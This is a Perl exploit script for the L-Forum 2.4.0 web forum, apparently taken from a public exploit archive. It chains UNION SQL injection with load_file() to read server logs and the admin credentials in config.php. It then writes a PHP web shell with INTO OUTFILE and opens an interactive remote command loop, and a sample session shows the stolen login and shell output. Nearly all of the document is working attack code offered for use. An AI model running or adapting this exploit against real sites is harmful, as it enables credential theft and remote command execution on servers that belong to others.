L-Forum 2.4.0 SQL Injection / Command Execution

`#!/usr/bin/perl  
  
# Web App: L-Forum 2.4.0  
# Link : http://l-forum.sourceforge.net/  
# Bug : SQL INJECTIONS  
# SQL Command Injection Exploit  
# Needs MQ Off  
# Dork: Copyright 2000-2001 Leszek 'Leon' Krupinski  
# Credits to Giovanni Buzzin, "Osirys"  
# Mail: osirys[at]autistici[dot]org  
  
# ------------------------------------------------------------------------  
# Sploit on localhost  
# ------------------------------------------------------------------------  
# osirys[~]>$ perl spl0.txt http://localhost/l-forum-2.4.0/  
#  
# ---------------------------  
# L-Forum  
# Command Inj Exploit  
# by Osirys  
# ---------------------------  
#  
# [*] Generating error through GET request ..  
# [*] Cheeking Apache Error Log path ..  
# [*] Error Log path found -> /var/log/httpd/error_log  
# [*] Website path found -> /home/osirys/web/l-forum-2.4.0/  
# [*] Getting admin login details ..  
# [$] User: admin  
# [$] Pass: adminpass  
# [*] Shell succesfully injected !  
# [&] Hi my master, do your job now [!]  
#  
# shell[localhost]$> id  
# uid=80(apache) gid=80(apache) groups=80(apache)  
# shell[localhost]$> pwd  
# /home/osirys/web/l-forum-2.4.0/upload  
# shell[localhost]$> exit  
# [-] Quitting ..  
# osirys[~]>$  
# ------------------------------------------------------------------------  
  
use IO::Socket;  
use LWP::UserAgent;  
  
my $host = $ARGV[0];  
my $path_ = "/upload/";  
my $rand = int(rand 9) +1;  
  
my @error_logs = qw(  
/var/log/httpd/error.log  
/var/log/httpd/error_log  
/var/log/apache/error.log  
/var/log/apache/error_log  
/var/log/apache2/error.log  
/var/log/apache2/error_log  
/logs/error.log  
/var/log/apache/error_log  
/var/log/apache/error.log  
/usr/local/apache/logs/error_log  
/etc/httpd/logs/error_log  
/etc/httpd/logs/error.log  
/var/www/logs/error_log  
/var/www/logs/error.log  
/usr/local/apache/logs/error.log  
/var/log/error_log  
/apache/logs/error.log  
);  
  
my $php_c0de = "<?php echo \"st4rt\";system(\$_GET[cmd]);?>";  
  
($host) || help("-1");  
cheek($host) == 1 || help("-2");  
&banner;  
  
$datas = get_input($host);  
$datas =~ /(.*) (.*)/;  
($h0st,$path) = ($1,$2);  
  
print "[*] Generating error through GET request ..\n";  
  
get_req($host."/osirys_log_test".$rand);  
  
print "[*] Cheeking Apache Error Log path ..\n";  
  
while (($log = <@error_logs>)&&($gotcha != 1)) {  
$tmp_path = $host."/new.php?f=0&r=-1 union select 1,2,3,4,load_file('".$log."'),6,7,8,9,10,11,12,13,14,15,16";  
$re = get_req($tmp_path);  
if ($re =~ /File does not exist: (.+)\/osirys_log_test$rand/) {  
$site_path = $1."/";  
$gotcha = 1;  
print "[*] Error Log path found -> $log\n";  
print "[*] Website path found -> $site_path\n";  
}  
}  
  
$gotcha == 1 || die "[-] Couldn't file error_log !\n";  
  
print "[*] Getting admin login details ..\n";  
  
my $url = $host."/new.php?f=0&r=-1 union select 1,2,3,4,load_file('".$site_path."/config.php'),6,7,8,9,10,11,12,13,14,15,16";  
my $re = get_req($url);  
if ($re =~ /\$admin_name(\s)*= '(.+)';/) {  
$user = $2;  
if ($re =~ /\$admin_pass(\s)*= '(.+)';/) {  
$pass = $2;  
print "[\$] User: $user\n";  
print "[\$] Pass: $pass\n";  
}  
}  
else {  
print "[-] Can't extract admin details\n\n";  
}  
  
&inj_shell;  
  
sub inj_shell {  
my $attack = $host."/read.php?f=0&i=-1 union select 1,2,3,4,5,6,7,8,9,'".$php_c0de."' into outfile '".$site_path.$path_."1337.php'";  
get_req($attack);  
my $test = get_req($host."/upload/1337.php");  
if ($test =~ /st4rt/) {  
print "[*] Shell succesfully injected !\n";  
print "[&] Hi my master, do your job now [!]\n\n";  
$exec_path = $host."/shell.php";  
&exec_cmd;  
  
}  
else {  
print "[-] Shell not found \n[-] Exploit failed\n\n";  
exit(0);  
}  
}  
  
sub exec_cmd {  
$h0st !~ /www\./ || $h0st =~ s/www\.//;  
print "shell[$h0st]\$> ";  
$cmd = <STDIN>;  
$cmd !~ /exit/ || die "[-] Quitting ..\n";  
$exec_url = $host.$path_."1337.php?cmd=".$cmd;  
my $re = get_req($exec_url);  
my $content = tag($re);  
if ($content =~ /st4rt(.+)/) {  
my $out = $1;  
$out =~ s/\$/ /g;  
$out =~ s/\*/\n/g;  
chomp($out);  
print "$out\n";  
&exec_cmd;  
}  
else {  
$c++;  
$cmd =~ s/\n//;  
print "bash: ".$cmd.": command not found\n";  
$c < 3 || die "[-] Command are not executed.\n[-] Something wrong. Exploit Failed !\n\n";  
&exec_cmd;  
}  
  
}  
  
sub get_req() {  
$link = $_[0];  
my $req = HTTP::Request->new(GET => $link);  
my $ua = LWP::UserAgent->new();  
$ua->timeout(4);  
my $response = $ua->request($req);  
return $response->content;  
}  
  
sub cheek() {  
my $host = $_[0];  
if ($host =~ /http:\/\/(.*)/) {  
return 1;  
}  
else {  
return 0;  
}  
}  
  
sub get_input() {  
my $host = $_[0];  
$host =~ /http:\/\/(.*)/;  
$s_host = $1;  
$s_host =~ /([a-z.-]{1,30})\/(.*)/;  
($h0st,$path) = ($1,$2);  
$path =~ s/(.*)/\/$1/;  
$full_det = $h0st." ".$path;  
return $full_det;  
}  
  
sub tag() {  
my $string = $_[0];  
$string =~ s/ /\$/g;  
$string =~ s/\s/\*/g;  
return($string);  
}  
  
sub banner {  
print "\n".  
" ---------------------------\n".  
" L-Forum \n".  
" Command Inj Exploit \n".  
" by Osirys \n".  
" ---------------------------\n\n";  
}  
  
sub help() {  
my $error = $_[0];  
if ($error == -1) {  
&banner;  
print "\n[-] Input data failed ! \n";  
}  
elsif ($error == -2) {  
&banner;  
print "\n[-] Bad hostname address !\n";  
}  
print "[*] Usage : perl $0 http://hostname/cms_path\n\n";  
exit(0);  
}  
`